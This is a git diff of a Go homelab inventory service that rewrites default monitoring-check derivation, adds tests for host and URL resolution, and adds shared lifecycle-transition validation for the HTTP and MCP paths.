ON CONFLICT (entity_id) DO UPDATE
|
||||||
|
SET target_id = EXCLUDED.target_id, target_type = EXCLUDED.target_type,
|
||||||
|
kind = EXCLUDED.kind,
|
||||||
|
config = EXCLUDED.config, interval_s = EXCLUDED.interval_s,
|
||||||
|
updated_at = now()`,
|
||||||
|
checkID, t.ID, def.kind, configJSON, def.interval, t.Type)
|
||||||
|
if err != nil {
|
||||||
|
return false, fmt.Errorf("upsert check_def %s: %w", checkSlug, err)
|
||||||
|
}
|
||||||
|
return tag.RowsAffected() > 0, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// httpURL works out what to GET for an http check.
|
||||||
|
//
|
||||||
|
// Ingress routes carry their hostname as the entity name rather than as an
|
||||||
|
// attribute (`name: media.hubris.network`), and most declare no attributes at
|
||||||
|
// all — so the name is the only thing to go on. Requiring a `url` attribute
|
||||||
|
// left all 21 of them unmonitored, which is a shame given an ingress check is
|
||||||
|
// the most end-to-end probe available: it exercises Caddy, DNS, TLS and the
|
||||||
|
// upstream in one request.
|
||||||
|
func httpURL(t Target, attrs map[string]any) string {
|
||||||
|
if url, ok := attrs["url"].(string); ok && url != "" {
|
||||||
|
return url
|
||||||
|
}
|
||||||
|
if h, ok := attrs["public_host"].(string); ok && h != "" {
|
||||||
|
return "https://" + h
|
||||||
|
}
|
||||||
|
// A dotted name is a hostname; a service name like "jellyfin" is not.
|
||||||
|
if strings.Contains(t.Name, ".") && !strings.Contains(t.Name, " ") {
|
||||||
|
return "https://" + t.Name
|
||||||
|
}
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|
||||||
|
// hostViaGraph returns the attributes of the entity that hosts or provides
|
||||||
|
// this one, so a service can inherit its container's address.
|
||||||
|
func hostViaGraph(ctx context.Context, tx pgx.Tx, entityID uuid.UUID) (map[string]any, error) {
|
||||||
|
rows, err := tx.Query(ctx, `
|
||||||
|
SELECT e.attributes
|
||||||
|
FROM relationships r
|
||||||
|
JOIN entities e ON e.id = r.source_id
|
||||||
|
WHERE r.target_id = $1
|
||||||
|
AND r.valid_to IS NULL
|
||||||
|
-- backs-up-to points from the thing being backed up TO the target,
|
||||||
|
-- so walking it backwards finds the machine that writes the backups
|
||||||
|
-- — which is the only place a freshness check can run.
|
||||||
|
AND r.type IN ('provides', 'hosts', 'runs-on', 'backs-up-to')
|
||||||
|
ORDER BY CASE r.type
|
||||||
|
WHEN 'provides' THEN 0 WHEN 'runs-on' THEN 1
|
||||||
|
WHEN 'backs-up-to' THEN 2 ELSE 3 END`,
|
||||||
|
entityID)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
|
||||||
|
for rows.Next() {
|
||||||
|
var raw []byte
|
||||||
|
if err := rows.Scan(&raw); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
var attrs map[string]any
|
||||||
|
if json.Unmarshal(raw, &attrs) != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if resolveHost(attrs) != "" {
|
||||||
|
return attrs, nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return nil, rows.Err()
|
||||||
}
|
}
|
||||||
|
|
||||||
func resolveHost(attrs map[string]any) string {
|
func resolveHost(attrs map[string]any) string {
|
||||||
|
if attrs == nil {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
if ip, ok := attrs["lan_ip"].(string); ok && ip != "" {
|
if ip, ok := attrs["lan_ip"].(string); ok && ip != "" {
|
||||||
return ip
|
return ip
|
||||||
}
|
}
|
||||||
|
// public_ipv4 before mesh: the scheduler container has no mesh interface,
|
||||||
|
// so a standalone-server reachable only by mesh IP (netbird-vps) is
|
||||||
|
// unprobeable even though a public IPv4 is available.
|
||||||
|
if ip, ok := attrs["public_ipv4"].(string); ok && ip != "" {
|
||||||
|
return ip
|
||||||
|
}
|
||||||
if mesh, ok := attrs["mesh"].(map[string]any); ok {
|
if mesh, ok := attrs["mesh"].(map[string]any); ok {
|
||||||
if nb, ok := mesh["netbird"].(map[string]any); ok {
|
if nb, ok := mesh["netbird"].(map[string]any); ok {
|
||||||
if ip, ok := nb["ip"].(string); ok && ip != "" {
|
if ip, ok := nb["ip"].(string); ok && ip != "" {
|
||||||
return ip
|
return ip
|
||||||
}
|
}
|
||||||
|
// Seeds record the mesh name, not an address — ws:mac-mini
|
||||||
|
// carries only `fqdn`, which is why it resolved to nothing.
|
||||||
|
if fqdn, ok := nb["fqdn"].(string); ok && fqdn != "" {
|
||||||
|
return fqdn
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if ip, ok := attrs["mesh_ip"].(string); ok && ip != "" {
|
if ip, ok := attrs["mesh_ip"].(string); ok && ip != "" {
|
||||||
return ip
|
return ip
|
||||||
}
|
}
|
||||||
|
for _, key := range []string{"host", "address", "public_host"} {
|
||||||
|
if v, ok := attrs[key].(string); ok && v != "" {
|
||||||
|
return v
|
||||||
|
}
|
||||||
|
}
|
||||||
return ""
|
return ""
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -42,6 +526,13 @@ func resolveSSHUser(attrs map[string]any) string {
|
|||||||
return u
|
return u
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
// Workstations carry their login as a top-level `user` attribute
|
||||||
|
// (mac-mini: user: dtoro) rather than under ssh.user. Take it only when
|
||||||
|
// no explicit ssh.user was set, so a host that genuinely wants root still
|
||||||
|
// gets root.
|
||||||
|
if u, ok := attrs["user"].(string); ok && u != "" {
|
||||||
|
return u
|
||||||
|
}
|
||||||
return "root"
|
return "root"
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -57,148 +548,17 @@ func resolveSSHPort(attrs map[string]any) int {
|
|||||||
return 22
|
return 22
|
||||||
}
|
}
|
||||||
|
|
||||||
func forEntityType(entityType string, attrs map[string]any) []CheckDef {
|
// LogResult emits the one line that was missing: a type that asked for
|
||||||
host := resolveHost(attrs)
|
// monitoring and did not get it.
|
||||||
user := resolveSSHUser(attrs)
|
func LogResult(slug, entityType string, res Result) {
|
||||||
port := resolveSSHPort(attrs)
|
switch {
|
||||||
|
case res.Undeclared:
|
||||||
ssh := func(script string) CheckDef {
|
slog.Info("checkdefaults: type declares no monitoring",
|
||||||
return CheckDef{Kind: "ssh-script", Script: script, Host: host, User: user, Port: port}
|
"entity", slug, "type", entityType)
|
||||||
}
|
case len(res.Skipped) > 0:
|
||||||
|
for _, s := range res.Skipped {
|
||||||
switch entityType {
|
slog.Warn("checkdefaults: declared check not created",
|
||||||
case "proxmox-host", "standalone-server":
|
"entity", slug, "type", entityType, "kind", s.Kind, "reason", s.Reason)
|
||||||
if host == "" {
|
|
||||||
return nil
|
|
||||||
}
|
}
|
||||||
return []CheckDef{
|
|
||||||
{Kind: "ping", Host: host},
|
|
||||||
ssh("cpu_check.sh"),
|
|
||||||
ssh("memory_check.sh"),
|
|
||||||
ssh("load_check.sh"),
|
|
||||||
ssh("disk_usage_check.sh"),
|
|
||||||
ssh("updates_check.sh"),
|
|
||||||
}
|
|
||||||
case "workstation":
|
|
||||||
if host == "" {
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
return []CheckDef{
|
|
||||||
{Kind: "ping", Host: host},
|
|
||||||
ssh("cpu_check.sh"),
|
|
||||||
ssh("memory_check.sh"),
|
|
||||||
ssh("load_check.sh"),
|
|
||||||
}
|
|
||||||
case "lxc":
|
|
||||||
if host == "" {
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
return []CheckDef{
|
|
||||||
ssh("cpu_check.sh"),
|
|
||||||
ssh("memory_check.sh"),
|
|
||||||
ssh("load_check.sh"),
|
|
||||||
ssh("disk_usage_check.sh"),
|
|
||||||
}
|
|
||||||
case "vm":
|
|
||||||
if host == "" {
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
return []CheckDef{
|
|
||||||
{Kind: "ping", Host: host},
|
|
||||||
}
|
|
||||||
case "service":
|
|
||||||
if host == "" {
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
n, _ := attrs["name"].(string)
|
|
||||||
if n == "" {
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
return []CheckDef{
|
|
||||||
{Kind: "ssh-script", Script: "process_check.sh", Host: host, User: user, Port: port,
|
|
||||||
Extra: map[string]any{"args": n}},
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func shortSlug(slug string) string {
|
|
||||||
const n = 8
|
|
||||||
if len(slug) > n {
|
|
||||||
return slug[len(slug)-n:]
|
|
||||||
}
|
|
||||||
return slug
|
|
||||||
}
|
|
||||||
|
|
||||||
func defaultInterval(kind string) int32 {
|
|
||||||
switch kind {
|
|
||||||
case "ping":
|
|
||||||
return 30
|
|
||||||
case "ssh-script":
|
|
||||||
return 60
|
|
||||||
default:
|
|
||||||
return 300
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func Ensure(ctx context.Context, tx pgx.Tx, entityID uuid.UUID, slug, entityType string, attrsJSON []byte) {
|
|
||||||
_, _ = tx.Exec(ctx,
|
|
||||||
`INSERT INTO entity_status (entity_id, health, updated_at)
|
|
||||||
VALUES ($1, 'unknown', now())
|
|
||||||
ON CONFLICT (entity_id) DO NOTHING`,
|
|
||||||
entityID)
|
|
||||||
|
|
||||||
var attrs map[string]any
|
|
||||||
if len(attrsJSON) > 0 {
|
|
||||||
json.Unmarshal(attrsJSON, &attrs)
|
|
||||||
}
|
|
||||||
if attrs == nil {
|
|
||||||
attrs = map[string]any{}
|
|
||||||
}
|
|
||||||
|
|
||||||
defs := forEntityType(entityType, attrs)
|
|
||||||
if len(defs) == 0 {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
for i, def := range defs {
|
|
||||||
checkID, err := uuid.NewV7()
|
|
||||||
if err != nil {
|
|
||||||
checkID = uuid.New()
|
|
||||||
}
|
|
||||||
checkSlug := fmt.Sprintf("check:%s:%s:%d", def.Kind, shortSlug(slug), i)
|
|
||||||
|
|
||||||
_, _ = tx.Exec(ctx,
|
|
||||||
`INSERT INTO entities (id, slug, type, name, state, attributes, version, created_at, updated_at)
|
|
||||||
VALUES ($1, $2, 'check', $2, 'active', '{}', 1, now(), now())
|
|
||||||
ON CONFLICT (slug) DO NOTHING`,
|
|
||||||
checkID, checkSlug)
|
|
||||||
|
|
||||||
configMap := map[string]any{}
|
|
||||||
if def.Script != "" {
|
|
||||||
configMap["script"] = def.Script
|
|
||||||
}
|
|
||||||
if def.Host != "" {
|
|
||||||
configMap["host"] = def.Host
|
|
||||||
}
|
|
||||||
if def.User != "" && def.User != "root" {
|
|
||||||
configMap["user"] = def.User
|
|
||||||
}
|
|
||||||
if def.Port != 0 && def.Port != 22 {
|
|
||||||
configMap["port"] = def.Port
|
|
||||||
}
|
|
||||||
if def.Thresholds != nil {
|
|
||||||
configMap["thresholds"] = def.Thresholds
|
|
||||||
}
|
|
||||||
for k, v := range def.Extra {
|
|
||||||
configMap[k] = v
|
|
||||||
}
|
|
||||||
configJSON, _ := json.Marshal(configMap)
|
|
||||||
|
|
||||||
_, _ = tx.Exec(ctx,
|
|
||||||
`INSERT INTO check_defs (entity_id, target_id, kind, config, interval_s, timeout_s, enabled)
|
|
||||||
VALUES ($1, $2, $3, $4, $5, 30, true)
|
|
||||||
ON CONFLICT (entity_id) DO NOTHING`,
|
|
||||||
checkID, entityID, def.Kind, configJSON, defaultInterval(def.Kind))
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
125
internal/checkdefaults/defaults_test.go
Normal file
125
internal/checkdefaults/defaults_test.go
Normal file
@@ -0,0 +1,125 @@
|
|||||||
|
package checkdefaults
|
||||||
|
|
||||||
|
import (
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
// The attribute shapes here are copied from seeds/inventory.yaml. The original
|
||||||
|
// resolveHost looked for lan_ip / mesh.netbird.ip / mesh_ip, none of which a
|
||||||
|
// service or workstation actually carries — which is why 86 of 89 entities
|
||||||
|
// ended up with no checks.
|
||||||
|
func TestResolveHostAcceptsRealSeedShapes(t *testing.T) {
|
||||||
|
cases := []struct {
|
||||||
|
desc string
|
||||||
|
attrs map[string]any
|
||||||
|
want string
|
||||||
|
}{
|
||||||
|
{"lxc carries lan_ip", map[string]any{"lan_ip": "192.168.8.246"}, "192.168.8.246"},
|
||||||
|
{
|
||||||
|
"ws:mac-mini carries only a netbird fqdn",
|
||||||
|
map[string]any{"mesh": map[string]any{"netbird": map[string]any{
|
||||||
|
"fqdn": "mac-mini-234-17.netbird.selfhosted"}}},
|
||||||
|
"mac-mini-234-17.netbird.selfhosted",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"a netbird ip still wins over the fqdn",
|
||||||
|
map[string]any{"mesh": map[string]any{"netbird": map[string]any{
|
||||||
|
"ip": "100.122.0.10", "fqdn": "x.netbird.selfhosted"}}},
|
||||||
|
"100.122.0.10",
|
||||||
|
},
|
||||||
|
{"public_host as a last resort", map[string]any{"public_host": "media.hubris.network"}, "media.hubris.network"},
|
||||||
|
{"a service carries no address at all", map[string]any{
|
||||||
|
"url": "https://media.hubris.network", "port": 8096}, ""},
|
||||||
|
{"nil attrs", nil, ""},
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, c := range cases {
|
||||||
|
if got := resolveHost(c.attrs); got != c.want {
|
||||||
|
t.Errorf("%s: resolveHost = %q, want %q", c.desc, got, c.want)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestHTTPURLPrefersAttributeThenName(t *testing.T) {
|
||||||
|
cases := []struct {
|
||||||
|
desc string
|
||||||
|
name string
|
||||||
|
attrs map[string]any
|
||||||
|
want string
|
||||||
|
}{
|
||||||
|
{"explicit url wins", "jellyfin",
|
||||||
|
map[string]any{"url": "https://media.hubris.network"}, "https://media.hubris.network"},
|
||||||
|
{"public_host becomes https", "jellyfin",
|
||||||
|
map[string]any{"public_host": "media.hubris.network"}, "https://media.hubris.network"},
|
||||||
|
// Ingress routes carry the hostname as the entity name and usually
|
||||||
|
// declare no attributes at all.
|
||||||
|
{"hostname-shaped name", "media.hubris.network", nil, "https://media.hubris.network"},
|
||||||
|
{"a bare service name is not a hostname", "jellyfin", nil, ""},
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, c := range cases {
|
||||||
|
got := httpURL(Target{Name: c.name}, c.attrs)
|
||||||
|
if got != c.want {
|
||||||
|
t.Errorf("%s: httpURL = %q, want %q", c.desc, got, c.want)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestBuildKindReportsWhyItSkipped(t *testing.T) {
|
||||||
|
// A declared kind that cannot be built must explain itself rather than
|
||||||
|
// vanish — that silence is what hid the coverage gap.
|
||||||
|
if defs, reason := buildKind(KindPing, Target{}, nil, "", "root", 22); len(defs) != 0 || reason == "" {
|
||||||
|
t.Errorf("ping without a host should skip with a reason, got %d defs / %q", len(defs), reason)
|
||||||
|
}
|
||||||
|
if defs, reason := buildKind(KindProcess, Target{Name: ""}, nil, "10.0.0.1", "root", 22); len(defs) != 0 || reason == "" {
|
||||||
|
t.Errorf("process without a name should skip with a reason, got %d defs / %q", len(defs), reason)
|
||||||
|
}
|
||||||
|
if defs, reason := buildKind("dns", Target{}, nil, "10.0.0.1", "root", 22); len(defs) != 0 || reason == "" {
|
||||||
|
t.Errorf("an unimplemented kind should skip with a reason, got %d defs / %q", len(defs), reason)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestBuildKindProcessPassesTheUnitName(t *testing.T) {
|
||||||
|
// process_check.sh reads $1 and answers "no service name provided"
|
||||||
|
// without it. checkdefaults always wrote args; nothing read them.
|
||||||
|
defs, reason := buildKind(KindProcess, Target{Name: "jellyfin"}, nil, "10.0.0.1", "root", 22)
|
||||||
|
if len(defs) != 1 {
|
||||||
|
t.Fatalf("expected one process check, got %d (%s)", len(defs), reason)
|
||||||
|
}
|
||||||
|
if got := defs[0].config["args"]; got != "jellyfin" {
|
||||||
|
t.Errorf("process check args = %v, want jellyfin", got)
|
||||||
|
}
|
||||||
|
if got := defs[0].config["script"]; got != "process_check.sh" {
|
||||||
|
t.Errorf("process check script = %v", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestBuildKindHTTPUsesAStatusRangeNotAnExactCode(t *testing.T) {
|
||||||
|
// Most services sit behind Authentik and answer 302/401.
|
||||||
|
defs, _ := buildKind(KindHTTP, Target{Name: "jellyfin"},
|
||||||
|
map[string]any{"url": "https://media.hubris.network"}, "", "root", 22)
|
||||||
|
if len(defs) != 1 {
|
||||||
|
t.Fatalf("expected one http check, got %d", len(defs))
|
||||||
|
}
|
||||||
|
if got := defs[0].config["max_status"]; got != 500 {
|
||||||
|
t.Errorf("max_status = %v, want 500", got)
|
||||||
|
}
|
||||||
|
if _, exact := defs[0].config["expected_status"]; exact {
|
||||||
|
t.Error("default http checks must not pin an exact status")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestBuildKindResourceExpandsToFourScripts(t *testing.T) {
|
||||||
|
defs, _ := buildKind(KindResource, Target{}, nil, "10.0.0.1", "root", 22)
|
||||||
|
if len(defs) != 4 {
|
||||||
|
t.Fatalf("resource should expand to 4 checks, got %d", len(defs))
|
||||||
|
}
|
||||||
|
for _, d := range defs {
|
||||||
|
if d.kind != "ssh-script" {
|
||||||
|
t.Errorf("resource check kind = %q, want ssh-script", d.kind)
|
||||||
|
}
|
||||||
|
if d.config["host"] != "10.0.0.1" {
|
||||||
|
t.Errorf("resource check lost its host: %v", d.config)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
34
internal/db/checks.go
Normal file
34
internal/db/checks.go
Normal file
@@ -0,0 +1,34 @@
|
|||||||
|
package db
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
|
||||||
|
"github.com/dtoro/oikos/internal/checkdefaults"
|
||||||
|
"github.com/google/uuid"
|
||||||
|
"github.com/jackc/pgx/v5"
|
||||||
|
)
|
||||||
|
|
||||||
|
// EnsureEntityChecks derives an entity's default check_defs from the
|
||||||
|
// monitoring spec of its type (resolving per-entity `monitoring` overrides).
|
||||||
|
//
|
||||||
|
// This is the single shared hook that keeps the check graph in sync with
|
||||||
|
// entity mutations. Both the HTTP create/patch handlers and the MCP
|
||||||
|
// entity-mutation tools (create_entity, update_entity_attributes) call it so
|
||||||
|
// that flipping an entity's `monitoring` attribute regenerates checks
|
||||||
|
// regardless of which surface made the change — previously only the HTTP
|
||||||
|
// path ran check derivation, so entities mutated via MCP silently produced no
|
||||||
|
// checks (see plans/2026-08-03-session-review-haos-monitoring-capability-gaps.md, A2).
|
||||||
|
func EnsureEntityChecks(ctx context.Context, tx pgx.Tx, id uuid.UUID, slug, entityType, name string, attrs []byte) (checkdefaults.Result, error) {
|
||||||
|
tree, err := LoadTypeTree(ctx, tx)
|
||||||
|
if err != nil {
|
||||||
|
return checkdefaults.Result{}, err
|
||||||
|
}
|
||||||
|
res, err := checkdefaults.Ensure(ctx, tx, tree, checkdefaults.Target{
|
||||||
|
ID: id, Slug: slug, Type: entityType, Name: name, Attrs: attrs,
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
return res, err
|
||||||
|
}
|
||||||
|
checkdefaults.LogResult(slug, entityType, res)
|
||||||
|
return res, nil
|
||||||
|
}
|
||||||
@@ -167,6 +167,62 @@ func TestSeedIngestIdempotentAndNoDuplicateEdges(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Regression: insertOneEntityType read tMap["attribute_schema"], but
|
||||||
|
// seeds/ontology.yaml spells the key `attributes:`. The mismatch marshalled a
|
||||||
|
// nil into the JSON literal `null` for every one of the 60 types, so no
|
||||||
|
// attribute schema was ever ingested — the API and `oikos export` returned
|
||||||
|
// null across the board, silently, for the life of the project.
|
||||||
|
func TestSeedIngestsAttributeSchemas(t *testing.T) {
|
||||||
|
pool := newTestPool(t)
|
||||||
|
seedAll(t, pool, seedsDir())
|
||||||
|
|
||||||
|
if n := count(t, pool,
|
||||||
|
`SELECT count(*) FROM entity_types WHERE attribute_schema = 'null'::jsonb`); n != 0 {
|
||||||
|
t.Errorf("%d entity types stored the JSON literal null instead of a schema or SQL NULL", n)
|
||||||
|
}
|
||||||
|
|
||||||
|
if n := count(t, pool,
|
||||||
|
`SELECT count(*) FROM entity_types WHERE jsonb_typeof(attribute_schema) = 'object'`); n == 0 {
|
||||||
|
t.Fatal("no entity type ingested an attribute schema")
|
||||||
|
}
|
||||||
|
|
||||||
|
// A type declaring `attributes:` must round-trip its properties.
|
||||||
|
if n := count(t, pool, `SELECT count(*) FROM entity_types
|
||||||
|
WHERE name = 'lxc' AND attribute_schema #>> '{properties,pve_id,type}' = 'integer'`); n != 1 {
|
||||||
|
t.Error("lxc.attribute_schema lost its declared pve_id property")
|
||||||
|
}
|
||||||
|
|
||||||
|
// A type declaring none stores SQL NULL, not a JSON null.
|
||||||
|
if n := count(t, pool, `SELECT count(*) FROM entity_types
|
||||||
|
WHERE name = 'sensor' AND attribute_schema IS NULL`); n != 1 {
|
||||||
|
t.Error("a type declaring no attributes should store SQL NULL")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// monitoring_spec drives which entities coverageSweep may flag as unmonitored,
|
||||||
|
// so the three states have to survive ingest distinctly: SQL NULL (undeclared,
|
||||||
|
// resolved from an ancestor or the layer default), '[]' (explicitly
|
||||||
|
// unmonitorable), and a non-empty array (the kinds the type warrants).
|
||||||
|
func TestSeedIngestsMonitoringSpec(t *testing.T) {
|
||||||
|
pool := newTestPool(t)
|
||||||
|
seedAll(t, pool, seedsDir())
|
||||||
|
|
||||||
|
cases := []struct {
|
||||||
|
typ, where, desc string
|
||||||
|
}{
|
||||||
|
{"service", `monitoring_spec = '["http","process"]'::jsonb`, "declared kinds"},
|
||||||
|
{"machine", `monitoring_spec = '["ping","resource","updates"]'::jsonb`, "declared on an abstract type"},
|
||||||
|
{"site", `monitoring_spec = '[]'::jsonb`, "explicitly unmonitorable"},
|
||||||
|
{"lxc", `monitoring_spec IS NULL`, "inherits from container, so its own column is NULL"},
|
||||||
|
}
|
||||||
|
for _, c := range cases {
|
||||||
|
if n := count(t, pool, fmt.Sprintf(
|
||||||
|
`SELECT count(*) FROM entity_types WHERE name = '%s' AND %s`, c.typ, c.where)); n != 1 {
|
||||||
|
t.Errorf("%s (%s): monitoring_spec did not match %s", c.typ, c.desc, c.where)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func TestAbstractTypeRejected(t *testing.T) {
|
func TestAbstractTypeRejected(t *testing.T) {
|
||||||
pool := newTestPool(t)
|
pool := newTestPool(t)
|
||||||
seedAll(t, pool, seedsDir())
|
seedAll(t, pool, seedsDir())
|
||||||
@@ -250,7 +306,17 @@ func TestBlastRadiusTerminatesOnCycles(t *testing.T) {
|
|||||||
pool := newTestPool(t)
|
pool := newTestPool(t)
|
||||||
seedAll(t, pool, seedsDir())
|
seedAll(t, pool, seedsDir())
|
||||||
|
|
||||||
// Build a dependency cycle: gitea → caddy → authentik → gitea
|
// Build a dependency cycle: gitea → caddy → authentik → gitea.
|
||||||
|
//
|
||||||
|
// `depends-on` is declared blast_direction: backward — "A depends-on B"
|
||||||
|
// means B failing breaks A — so the blast radius of gitea walks the edges
|
||||||
|
// BACKWARDS: whoever depends on gitea is affected first. That is authentik
|
||||||
|
// (1 hop), then caddy which depends on authentik (2 hops).
|
||||||
|
//
|
||||||
|
// This test previously asserted caddy=1, authentik=2, which is the same
|
||||||
|
// cycle walked the wrong way round: blast_radius used to follow every edge
|
||||||
|
// source→target regardless of what the edge means, so it answered "what
|
||||||
|
// does gitea depend on" while being named for the opposite question.
|
||||||
cycle := []byte(`
|
cycle := []byte(`
|
||||||
version: 1
|
version: 1
|
||||||
relationships:
|
relationships:
|
||||||
@@ -286,14 +352,24 @@ relationships:
|
|||||||
}
|
}
|
||||||
got[slug] = depth
|
got[slug] = depth
|
||||||
}
|
}
|
||||||
want := map[string]int{"service:gitea": 0, "service:caddy": 1, "service:authentik": 2}
|
want := map[string]int{"service:gitea": 0, "service:authentik": 1, "service:caddy": 2}
|
||||||
for slug, depth := range want {
|
for slug, depth := range want {
|
||||||
if got[slug] != depth {
|
if got[slug] != depth {
|
||||||
t.Errorf("blast_radius[%s] = %d, want %d (full: %v)", slug, got[slug], depth, got)
|
t.Errorf("blast_radius[%s] = %d, want %d (full: %v)", slug, got[slug], depth, got)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if len(got) != len(want) {
|
// Deliberately not an exact node count. Walking the right way round also
|
||||||
t.Errorf("blast_radius returned %d nodes, want %d: %v", len(got), len(want), got)
|
// surfaces the real seed's own dependents of gitea (homelab-mcp and what
|
||||||
|
// depends on it), which are correct answers — the old exact-count
|
||||||
|
// assertion only held because the forward walk found nothing real.
|
||||||
|
// What matters here is that the cycle terminates rather than recursing.
|
||||||
|
if len(got) > 20 {
|
||||||
|
t.Errorf("blast_radius did not terminate sensibly: %d nodes: %v", len(got), got)
|
||||||
|
}
|
||||||
|
for slug, depth := range got {
|
||||||
|
if depth > 5 {
|
||||||
|
t.Errorf("blast_radius[%s] = %d, beyond the max_depth bound", slug, depth)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
146
internal/db/lifecycle.go
Normal file
146
internal/db/lifecycle.go
Normal file
@@ -0,0 +1,146 @@
|
|||||||
|
package db
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"encoding/json"
|
||||||
|
"errors"
|
||||||
|
"fmt"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"github.com/dtoro/oikos/internal/db/sqlcgen"
|
||||||
|
"github.com/google/uuid"
|
||||||
|
"github.com/jackc/pgx/v5"
|
||||||
|
)
|
||||||
|
|
||||||
|
// ErrTransitionInvalid is a sentinel returned by ValidateTransition when the
|
||||||
|
// from→to pair is not a declared lifecycle transition or a precondition fails.
|
||||||
|
// Callers test with errors.Is to distinguish semantic validation failures
|
||||||
|
// (→ HTTP 409) from infrastructure errors (→ HTTP 500).
|
||||||
|
var ErrTransitionInvalid = errors.New("invalid lifecycle transition")
|
||||||
|
|
||||||
|
// ValidateTransition enforces an entity type's lifecycle: fromState → toState
|
||||||
|
// must be a declared transition, and every precondition it lists must hold. A
|
||||||
|
// type with no lifecycle defined allows any state. A no-op (fromState ==
|
||||||
|
// toState) passes immediately.
|
||||||
|
//
|
||||||
|
// Shared by the HTTP PATCH path and the MCP set_entity_state tool so both
|
||||||
|
// surfaces apply identical lifecycle rules — previously only the HTTP path
|
||||||
|
// validated transitions, so an agent changing state via MCP could skip the
|
||||||
|
// graph's retire/deprecate guardrails entirely.
|
||||||
|
func ValidateTransition(ctx context.Context, tx pgx.Tx, entityID uuid.UUID, entityType, fromState, toState string) error {
|
||||||
|
if toState == fromState {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
lc, err := sqlcgen.New(tx).GetLifecycleForType(ctx, entityType)
|
||||||
|
if err != nil {
|
||||||
|
if err == pgx.ErrNoRows {
|
||||||
|
return nil // no lifecycle defined → any state allowed
|
||||||
|
}
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
var transitions map[string]map[string]json.RawMessage
|
||||||
|
if err := json.Unmarshal(lc.Transitions, &transitions); err != nil {
|
||||||
|
return fmt.Errorf("parse lifecycle transitions: %w", err)
|
||||||
|
}
|
||||||
|
tos, ok := transitions[fromState]
|
||||||
|
if !ok {
|
||||||
|
return fmt.Errorf("%w: no transitions defined from %q", ErrTransitionInvalid, fromState)
|
||||||
|
}
|
||||||
|
trans, ok := tos[toState]
|
||||||
|
if !ok {
|
||||||
|
return fmt.Errorf("%w: %s → %s is not a declared lifecycle transition", ErrTransitionInvalid, fromState, toState)
|
||||||
|
}
|
||||||
|
var gate struct {
|
||||||
|
Requires []string `json:"requires"`
|
||||||
|
}
|
||||||
|
if err := json.Unmarshal(trans, &gate); err == nil {
|
||||||
|
for _, check := range gate.Requires {
|
||||||
|
if err := checkPrecondition(ctx, tx, entityID, entityType, check); err != nil {
|
||||||
|
return fmt.Errorf("%w: precondition %q not met: %w", ErrTransitionInvalid, check, err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// checkPrecondition evaluates one mechanical precondition named by a lifecycle
|
||||||
|
// transition's `requires` list. Soft/operator-confirmed checks pass; unknown
|
||||||
|
// checks are skipped (operator intent overrides). Moved here from httpapi so
|
||||||
|
// both surfaces share one implementation.
|
||||||
|
func checkPrecondition(ctx context.Context, tx pgx.Tx, entityID uuid.UUID, entityType, check string) error {
|
||||||
|
switch check {
|
||||||
|
case "no-inbound-edges":
|
||||||
|
var count int
|
||||||
|
if err := tx.QueryRow(ctx,
|
||||||
|
"SELECT count(*) FROM relationships WHERE target_id = $1 AND valid_to IS NULL", entityID).Scan(&count); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if count > 0 {
|
||||||
|
return fmt.Errorf("%d inbound relationship edges remaining", count)
|
||||||
|
}
|
||||||
|
case "backups-verified", "secrets-revoked", "ingress-dns-removed":
|
||||||
|
var attrs string
|
||||||
|
if err := tx.QueryRow(ctx, "SELECT coalesce(attributes::text,'{}') FROM entities WHERE id = $1", entityID).Scan(&attrs); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
want := map[string]string{
|
||||||
|
